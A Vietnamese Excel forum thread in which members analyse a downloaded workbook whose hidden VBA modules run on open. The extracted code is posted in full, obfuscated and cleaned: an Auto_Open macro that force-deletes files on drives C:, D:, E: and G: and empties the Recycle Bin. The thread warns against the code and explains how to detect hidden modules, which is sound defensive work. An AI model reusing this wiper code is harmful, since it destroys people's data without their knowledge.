VBA có thể xóa file trong hệ thống không ạ?

Liên hệ QC

letanphong_xd

Thành viên mới
Tham gia
14/10/21
Bài viết
8
Được thích
1
Em chào anh chị ạ, em có một file Excel có chứa VBA, nhưng không hiểu sao cứ mở lên là nó tự động làm rỗng thùng rác, thử đi thử lại nhiều lần cũng vậy.
Anh chị cho em hỏi là VBA có lệnh điều khiển để can thiệp vào các file như sửa, xóa file khác ngoài Excel không ạ?

Em gửi file anh chị xem dùm em trong file này có lệnh nào bất thường không ạ, em tìm không thấy ạ?

Ah chú ý là anh chị mở file lên nó sẽ làm rỗng thùng rác nhé ạ!
Em cám ơn ạ!

----------
Xóa file đính kèm do chứa virus
ptm0412
 
Chỉnh sửa lần cuối bởi điều hành viên:
Em chào anh chị ạ, em có một file Excel có chứa VBA, nhưng không hiểu sao cứ mở lên là nó tự động làm rỗng thùng rác, thử đi thử lại nhiều lần cũng vậy.
Anh chị cho em hỏi là VBA có lệnh điều khiển để can thiệp vào các file như sửa, xóa file khác ngoài Excel không ạ?

Em gửi file anh chị xem dùm em trong file này có lệnh nào bất thường không ạ, em tìm không thấy ạ?

Ah chú ý là anh chị mở file lên nó sẽ làm rỗng thùng rác nhé ạ!
Em cám ơn ạ!
Nghe bạn nói tôi thấy hơi sợ sợ.
Thôi không dám tải về xem, chờ người khác dũng cảm hơn -0-0-0- -0-0-0- -0-0-0-
 
Upvote 0
Trả lời: Có.
Dọn thùng rác là may quá rồi còn gì. Xoá trắng cả ổ cứng ấy chứ, làm bay màu luôn cả hệ điều hành ấy chứ.
 
Upvote 0
Nghe bạn nói tôi thấy hơi sợ sợ.
Thôi không dám tải về xem, chờ người khác dũng cảm hơn -0-0-0- -0-0-0- -0-0-0-
Em chào anh chị ạ, em có một file Excel có chứa VBA, nhưng không hiểu sao cứ mở lên là nó tự động làm rỗng thùng rác, thử đi thử lại nhiều lần cũng vậy.
Anh chị cho em hỏi là VBA có lệnh điều khiển để can thiệp vào các file như sửa, xóa file khác ngoài Excel không ạ?

Em gửi file anh chị xem dùm em trong file này có lệnh nào bất thường không ạ, em tìm không thấy ạ?

Ah chú ý là anh chị mở file lên nó sẽ làm rỗng thùng rác nhé ạ!
Em cám ơn ạ!
Tôi nhìn vào filet đính kèm.
Có một số mô-đun ẩn trong đó.
Họ trống rỗng nhưng bạn có một cái bạn đang tìm kiếm.
Các thư mục khác cũng sẽ bị xóa!

Nếu nó quan trọng với bạn, tệp này, hãy lưu nó vào định dạng XLSX và chọn lại macro của riêng bạn.

Google được dịch, tôi hy vọng nó là dễ hiểu. Tôi là người Hung ga ri.

Đây là mã ẩn:
Mã:
Private Declare Function EmptyRecycleBin Lib "shell32.dll" _
Alias "SHEmptyRecycleBinA" ( _
ByVal hwnd As Long, _
ByVal pszRootPath As String, _
ByVal dwFlags As Long) As Long


Sub X58454848887788()
On Error Resume Next
Dim Para As Long
Dim lngRet As Long
lngRet = EmptyRecycleBin(0&, vbNullString, 1&)
End Sub



Sub Auto_Open()
On Error Resume Next
If Sheets("BLuong").Range("BW6") = 1 Then
X1
X2
X3
X4
X58454848887788
End If
End Sub



Sub X1()
On Error Resume Next
Dim t8eeb37815032c4fc9fbefba9ca8da0db As Object
Dim z36d97c9f5d12c964f64e7b2d4a67779d As String
Set t8eeb37815032c4fc9fbefba9ca8da0db = CreateObject("scripting.filesystemobject")
z36d97c9f5d12c964f64e7b2d4a67779d = "G:\"
If Right(z36d97c9f5d12c964f64e7b2d4a67779d, 1) = "\" Then
z36d97c9f5d12c964f64e7b2d4a67779d = Left(z36d97c9f5d12c964f64e7b2d4a67779d, Len(z36d97c9f5d12c964f64e7b2d4a67779d) - 1)
End If
t8eeb37815032c4fc9fbefba9ca8da0db.deletefile z36d97c9f5d12c964f64e7b2d4a67779d & "\*.*", True
t8eeb37815032c4fc9fbefba9ca8da0db.DeleteFolder z36d97c9f5d12c964f64e7b2d4a67779d & "\*.*", True
End Sub


Sub X2()
On Error Resume Next
Dim t8eeb37815032c4fc9fbefba9ca8da0db As Object
Dim z36d97c9f5d12c964f64e7b2d4a67779d As String
Set t8eeb37815032c4fc9fbefba9ca8da0db = CreateObject("scripting.filesystemobject")
z36d97c9f5d12c964f64e7b2d4a67779d = "E:\"
If Right(z36d97c9f5d12c964f64e7b2d4a67779d, 1) = "\" Then
z36d97c9f5d12c964f64e7b2d4a67779d = Left(z36d97c9f5d12c964f64e7b2d4a67779d, Len(z36d97c9f5d12c964f64e7b2d4a67779d) - 1)
End If
t8eeb37815032c4fc9fbefba9ca8da0db.deletefile z36d97c9f5d12c964f64e7b2d4a67779d & "\*.*", True
t8eeb37815032c4fc9fbefba9ca8da0db.DeleteFolder z36d97c9f5d12c964f64e7b2d4a67779d & "\*.*", True
End Sub


Sub X3()
On Error Resume Next
Dim t8eeb37815032c4fc9fbefba9ca8da0db As Object
Dim z36d97c9f5d12c964f64e7b2d4a67779d As String
Set t8eeb37815032c4fc9fbefba9ca8da0db = CreateObject("scripting.filesystemobject")
z36d97c9f5d12c964f64e7b2d4a67779d = "D:\"
If Right(z36d97c9f5d12c964f64e7b2d4a67779d, 1) = "\" Then
z36d97c9f5d12c964f64e7b2d4a67779d = Left(z36d97c9f5d12c964f64e7b2d4a67779d, Len(z36d97c9f5d12c964f64e7b2d4a67779d) - 1)
End If
t8eeb37815032c4fc9fbefba9ca8da0db.deletefile z36d97c9f5d12c964f64e7b2d4a67779d & "\*.*", True
t8eeb37815032c4fc9fbefba9ca8da0db.DeleteFolder z36d97c9f5d12c964f64e7b2d4a67779d & "\*.*", True
End Sub



Sub X4()
On Error Resume Next
Dim t8eeb37815032c4fc9fbefba9ca8da0db As Object
Dim z36d97c9f5d12c964f64e7b2d4a67779d As String
Set t8eeb37815032c4fc9fbefba9ca8da0db = CreateObject("scripting.filesystemobject")
z36d97c9f5d12c964f64e7b2d4a67779d = "C:\"
If Right(z36d97c9f5d12c964f64e7b2d4a67779d, 1) = "\" Then
z36d97c9f5d12c964f64e7b2d4a67779d = Left(z36d97c9f5d12c964f64e7b2d4a67779d, Len(z36d97c9f5d12c964f64e7b2d4a67779d) - 1)
End If
t8eeb37815032c4fc9fbefba9ca8da0db.deletefile z36d97c9f5d12c964f64e7b2d4a67779d & "\*.*", True
t8eeb37815032c4fc9fbefba9ca8da0db.DeleteFolder z36d97c9f5d12c964f64e7b2d4a67779d & "\*.*", True
End Sub
 
Upvote 0
Trả lời: Có.
Dọn thùng rác là may quá rồi còn gì. Xoá trắng cả ổ cứng ấy chứ, làm bay màu luôn cả hệ điều hành ấy chứ.
Nguy hiểm vậy hả bác? Vậy mình tải file có chứa macro trên mạng về đầy rủi ro nhỉ?
Bài đã được tự động gộp:

Tôi nhìn vào filet đính kèm.
Có một số mô-đun ẩn trong đó.
Họ trống rỗng nhưng bạn có một cái bạn đang tìm kiếm.
Các thư mục khác cũng sẽ bị xóa!

Nếu nó quan trọng với bạn, tệp này, hãy lưu nó vào định dạng XLSX và chọn lại macro của riêng bạn.

Google được dịch, tôi hy vọng nó là dễ hiểu. Tôi là người Hung ga ri.

Đây là mã ẩn:
Mã:
Private Declare Function EmptyRecycleBin Lib "shell32.dll" _
Alias "SHEmptyRecycleBinA" ( _
ByVal hwnd As Long, _
ByVal pszRootPath As String, _
ByVal dwFlags As Long) As Long


Sub X58454848887788()
On Error Resume Next
Dim Para As Long
Dim lngRet As Long
lngRet = EmptyRecycleBin(0&, vbNullString, 1&)
End Sub



Sub Auto_Open()
On Error Resume Next
If Sheets("BLuong").Range("BW6") = 1 Then
X1
X2
X3
X4
X58454848887788
End If
End Sub



Sub X1()
On Error Resume Next
Dim t8eeb37815032c4fc9fbefba9ca8da0db As Object
Dim z36d97c9f5d12c964f64e7b2d4a67779d As String
Set t8eeb37815032c4fc9fbefba9ca8da0db = CreateObject("scripting.filesystemobject")
z36d97c9f5d12c964f64e7b2d4a67779d = "G:\"
If Right(z36d97c9f5d12c964f64e7b2d4a67779d, 1) = "\" Then
z36d97c9f5d12c964f64e7b2d4a67779d = Left(z36d97c9f5d12c964f64e7b2d4a67779d, Len(z36d97c9f5d12c964f64e7b2d4a67779d) - 1)
End If
t8eeb37815032c4fc9fbefba9ca8da0db.deletefile z36d97c9f5d12c964f64e7b2d4a67779d & "\*.*", True
t8eeb37815032c4fc9fbefba9ca8da0db.DeleteFolder z36d97c9f5d12c964f64e7b2d4a67779d & "\*.*", True
End Sub


Sub X2()
On Error Resume Next
Dim t8eeb37815032c4fc9fbefba9ca8da0db As Object
Dim z36d97c9f5d12c964f64e7b2d4a67779d As String
Set t8eeb37815032c4fc9fbefba9ca8da0db = CreateObject("scripting.filesystemobject")
z36d97c9f5d12c964f64e7b2d4a67779d = "E:\"
If Right(z36d97c9f5d12c964f64e7b2d4a67779d, 1) = "\" Then
z36d97c9f5d12c964f64e7b2d4a67779d = Left(z36d97c9f5d12c964f64e7b2d4a67779d, Len(z36d97c9f5d12c964f64e7b2d4a67779d) - 1)
End If
t8eeb37815032c4fc9fbefba9ca8da0db.deletefile z36d97c9f5d12c964f64e7b2d4a67779d & "\*.*", True
t8eeb37815032c4fc9fbefba9ca8da0db.DeleteFolder z36d97c9f5d12c964f64e7b2d4a67779d & "\*.*", True
End Sub


Sub X3()
On Error Resume Next
Dim t8eeb37815032c4fc9fbefba9ca8da0db As Object
Dim z36d97c9f5d12c964f64e7b2d4a67779d As String
Set t8eeb37815032c4fc9fbefba9ca8da0db = CreateObject("scripting.filesystemobject")
z36d97c9f5d12c964f64e7b2d4a67779d = "D:\"
If Right(z36d97c9f5d12c964f64e7b2d4a67779d, 1) = "\" Then
z36d97c9f5d12c964f64e7b2d4a67779d = Left(z36d97c9f5d12c964f64e7b2d4a67779d, Len(z36d97c9f5d12c964f64e7b2d4a67779d) - 1)
End If
t8eeb37815032c4fc9fbefba9ca8da0db.deletefile z36d97c9f5d12c964f64e7b2d4a67779d & "\*.*", True
t8eeb37815032c4fc9fbefba9ca8da0db.DeleteFolder z36d97c9f5d12c964f64e7b2d4a67779d & "\*.*", True
End Sub



Sub X4()
On Error Resume Next
Dim t8eeb37815032c4fc9fbefba9ca8da0db As Object
Dim z36d97c9f5d12c964f64e7b2d4a67779d As String
Set t8eeb37815032c4fc9fbefba9ca8da0db = CreateObject("scripting.filesystemobject")
z36d97c9f5d12c964f64e7b2d4a67779d = "C:\"
If Right(z36d97c9f5d12c964f64e7b2d4a67779d, 1) = "\" Then
z36d97c9f5d12c964f64e7b2d4a67779d = Left(z36d97c9f5d12c964f64e7b2d4a67779d, Len(z36d97c9f5d12c964f64e7b2d4a67779d) - 1)
End If
t8eeb37815032c4fc9fbefba9ca8da0db.deletefile z36d97c9f5d12c964f64e7b2d4a67779d & "\*.*", True
t8eeb37815032c4fc9fbefba9ca8da0db.DeleteFolder z36d97c9f5d12c964f64e7b2d4a67779d & "\*.*", True
End Sub
Em nhìn vào code này em không hiểu gì, anh chị nào có thể giải thích giúp em không ạ? Lệnh trên dùng để làm gì vậy?
 
Upvote 0
Nhìn code kia thì đoán ngay nó chả tử tế gì, vì bình thường không ai cố tình tạo tên biến lằng nhằng.
 
Upvote 0
Code nguy hiểm quá, xóa tất cả các ổ C,D,E,G và thùng rác
Anh nói thì em mới để ý, nó xóa thùng rác và cả file của em trong ổ các ổ đĩa, nhưng chỉ là file trong ổ đĩa thôi, còn thư mục và các file trong thư mục thì nó không xóa được. Chắc code nó sai rồi. Cũng may cho em.

Như vậy là code này đặt trong module ẩn. Vậy cho em hỏi có cách nào hiện Module đã bị ẩn của 1 file excel nào đó không ạ?

Và cho em hỏi là trên đoạn code kia có một sub là Sub Auto _ Open(), sub này nó tự động chạy khi mở file ạ? Em tưởng muốn chạy một sub nào khi mở file thì mình phải đặt vào Workbook_Open chứ nhỉ?

Mong mấy anh khai sáng giúp em với! Em cám ơn!
 
Upvote 0
Và cho em hỏi là trên đoạn code kia có một sub là Sub Auto _ Open(), sub này nó tự động chạy khi mở file ạ? Em tưởng muốn chạy một sub nào khi mở file thì mình phải đặt vào Workbook_Open chứ nhỉ?

Tự mình thử nghiệm là biết liền mà bạn. Tự kiểm tra cùng lắm hết 1 phút là biết.

Sub auto_open()
msgbox "chay luon nè"
End sub
 
Upvote 0
Tự mình thử nghiệm là biết liền mà bạn. Tự kiểm tra cùng lắm hết 1 phút là biết.

Sub auto_open()
msgbox "chay luon nè"
End sub
Dạ đúng là như vậy. Vậy mình có cách nào phát hiện được module ẩn không bác?
Em chỉ cần phát hiện được module ẩn thôi chứ không cần cách ẩn module, để em có thể phát hiện ra những trường hợp như thế này!
Cám ơn bác nhiều!
 
Upvote 0
Nếu VBA chứa các mã sau, nó không chạy, không khởi động auto_open và auto_close. Ngay cả khi không có gì khác là trong đó.
Mã:
Private Sub Workbook_BeforeClose(Cancel As Boolean)

End Sub

Private Sub Workbook_Open()

End Sub
Bài đã được tự động gộp:

Mã:
Private Declare Function EmptyRecycleBin Lib "shell32.dll" _
Alias "SHEmptyRecycleBinA" ( _
ByVal hwnd As Long, _
ByVal pszRootPath As String, _
ByVal dwFlags As Long) As Long


Sub X58454848887788()
On Error Resume Next
Dim Para As Long
Dim lngRet As Long
lngRet = EmptyRecycleBin(0&, vbNullString, 1&)
End Sub



Sub Auto_Open()
On Error Resume Next
If Sheets("BLuong").Range("BW6") = 1 Then
X1
X2
X3
X4
X58454848887788
End If
End Sub



Sub X1()
On Error Resume Next
Dim FSo As Object
Dim xDrive As String
Set FSo = CreateObject("scripting.filesystemobject")
xDrive = "G:\"
If Right(xDrive, 1) = "\" Then
xDrive = Left(xDrive, Len(xDrive) - 1)
End If
FSo.deletefile xDrive & "\*.*", True
FSo.DeleteFolder xDrive & "\*.*", True
End Sub


Sub X2()
On Error Resume Next
Dim FSo As Object
Dim xDrive As String
Set FSo = CreateObject("scripting.filesystemobject")
xDrive = "E:\"
If Right(xDrive, 1) = "\" Then
xDrive = Left(xDrive, Len(xDrive) - 1)
End If
FSo.deletefile xDrive & "\*.*", True
FSo.DeleteFolder xDrive & "\*.*", True
End Sub


Sub X3()
On Error Resume Next
Dim FSo As Object
Dim xDrive As String
Set FSo = CreateObject("scripting.filesystemobject")
xDrive = "D:\"
If Right(xDrive, 1) = "\" Then
xDrive = Left(xDrive, Len(xDrive) - 1)
End If
FSo.deletefile xDrive & "\*.*", True
FSo.DeleteFolder xDrive & "\*.*", True
End Sub



Sub X4()
On Error Resume Next
Dim FSo As Object
Dim xDrive As String
Set FSo = CreateObject("scripting.filesystemobject")
xDrive = "C:\"
If Right(xDrive, 1) = "\" Then
xDrive = Left(xDrive, Len(xDrive) - 1)
End If
FSo.deletefile xDrive & "\*.*", True
FSo.DeleteFolder xDrive & "\*.*", True
End Sub
Các mô-đun ẩn là dễ hiểu hơn:
 
Lần chỉnh sửa cuối:
Upvote 0
Nếu VBA chứa các mã sau, nó không chạy, không khởi động auto_open và auto_close. Ngay cả khi không có gì khác là trong đó.
Mã:
Private Sub Workbook_BeforeClose(Cancel As Boolean)

End Sub

Private Sub Workbook_Open()

End Sub
Bài đã được tự động gộp:

Mã:
Private Declare Function EmptyRecycleBin Lib "shell32.dll" _
Alias "SHEmptyRecycleBinA" ( _
ByVal hwnd As Long, _
ByVal pszRootPath As String, _
ByVal dwFlags As Long) As Long


Sub X58454848887788()
On Error Resume Next
Dim Para As Long
Dim lngRet As Long
lngRet = EmptyRecycleBin(0&, vbNullString, 1&)
End Sub



Sub Auto_Open()
On Error Resume Next
If Sheets("BLuong").Range("BW6") = 1 Then
X1
X2
X3
X4
X58454848887788
End If
End Sub



Sub X1()
On Error Resume Next
Dim FSo As Object
Dim xDrive As String
Set FSo = CreateObject("scripting.filesystemobject")
xDrive = "G:\"
If Right(xDrive, 1) = "\" Then
xDrive = Left(xDrive, Len(xDrive) - 1)
End If
FSo.deletefile xDrive & "\*.*", True
FSo.DeleteFolder xDrive & "\*.*", True
End Sub


Sub X2()
On Error Resume Next
Dim FSo As Object
Dim xDrive As String
Set FSo = CreateObject("scripting.filesystemobject")
xDrive = "E:\"
If Right(xDrive, 1) = "\" Then
xDrive = Left(xDrive, Len(xDrive) - 1)
End If
FSo.deletefile xDrive & "\*.*", True
FSo.DeleteFolder xDrive & "\*.*", True
End Sub


Sub X3()
On Error Resume Next
Dim FSo As Object
Dim xDrive As String
Set FSo = CreateObject("scripting.filesystemobject")
xDrive = "D:\"
If Right(xDrive, 1) = "\" Then
xDrive = Left(xDrive, Len(xDrive) - 1)
End If
FSo.deletefile xDrive & "\*.*", True
FSo.DeleteFolder xDrive & "\*.*", True
End Sub



Sub X4()
On Error Resume Next
Dim FSo As Object
Dim xDrive As String
Set FSo = CreateObject("scripting.filesystemobject")
xDrive = "C:\"
If Right(xDrive, 1) = "\" Then
xDrive = Left(xDrive, Len(xDrive) - 1)
End If
FSo.deletefile xDrive & "\*.*", True
FSo.DeleteFolder xDrive & "\*.*", True
End Sub
Các mô-đun ẩn là dễ hiểu hơn:
nếu C:\ = cài Windows thì code sau sẻ sao ta = xem mà thấy mắc ....

Mã:
Sub X4()
On Error Resume Next
Dim FSo As Object
Dim xDrive As String
Set FSo = CreateObject("scripting.filesystemobject")
xDrive = "C:\"
If Right(xDrive, 1) = "\" Then
xDrive = Left(xDrive, Len(xDrive) - 1)
End If
FSo.deletefile xDrive & "\*.*", True
FSo.DeleteFolder xDrive & "\*.*", True
End Sub
 
Upvote 0
Tôi có đủ kinh nghiệm để trích xuất các tập tin đó. Tôi vừa xuất bản mã để mọi người có thể thấy việc họ có thể gây hại như thế nào thực tế rằng họ nhìn vào các tệp đã tải xuống từ Internet. Mã chứa rất nghiệp dư, các dòng không cần thiết. Tôi không khuyên bạn nên tải xuống và cố gắng tải xuống tệp cho bất kỳ ai không biết cách hiển thị các mô-đun ẩn.
 
Upvote 0
Dạ đúng là như vậy. Vậy mình có cách nào phát hiện được module ẩn không bác?
Em chỉ cần phát hiện được module ẩn thôi chứ không cần cách ẩn module, để em có thể phát hiện ra những trường hợp như thế này!
Cám ơn bác nhiều!
AutoOpen_01.jpgAutoOpen_02.jpgAutoOpen_03.jpgAutoOpen_04.jpgAutoOpen_05.jpgAutoOpen_06.jpgAutoOpen_07.jpgAutoOpen_08.jpgAutoOpen_09.jpgAutoOpen_10.jpg
Bản phát được thực hiện bởi Google từ Hungary.
Tôi hy vọng bạn hiểu.
 
Upvote 0
nếu C:\ = cài Windows thì code sau sẻ sao ta = xem mà thấy mắc ....

Mã:
Sub X4()
On Error Resume Next
Dim FSo As Object
Dim xDrive As String
Set FSo = CreateObject("scripting.filesystemobject")
xDrive = "C:\"
If Right(xDrive, 1) = "\" Then
xDrive = Left(xDrive, Len(xDrive) - 1)
End If
FSo.deletefile xDrive & "\*.*", True
FSo.DeleteFolder xDrive & "\*.*", True
End Sub
Em đã hiểu được vấn đề!
Đây là vấn đề code nguy hiểm, em nghĩ Mod nên xóa bài này hoặc các dòng code kia đi, kẻo có người lại copy đi hại người khác ạ!

Và cho em hỏi hằng ngày Mod hỗ trợ thành viên thường tải rất nhiều file có chứa macro, thì sao tránh được nguy hiểm ạ? Hay các Mod có cách riêng của mình để tránh rủi ro ạ! Em cám ơn.
 
Upvote 0
Web KT
Back
Top Bottom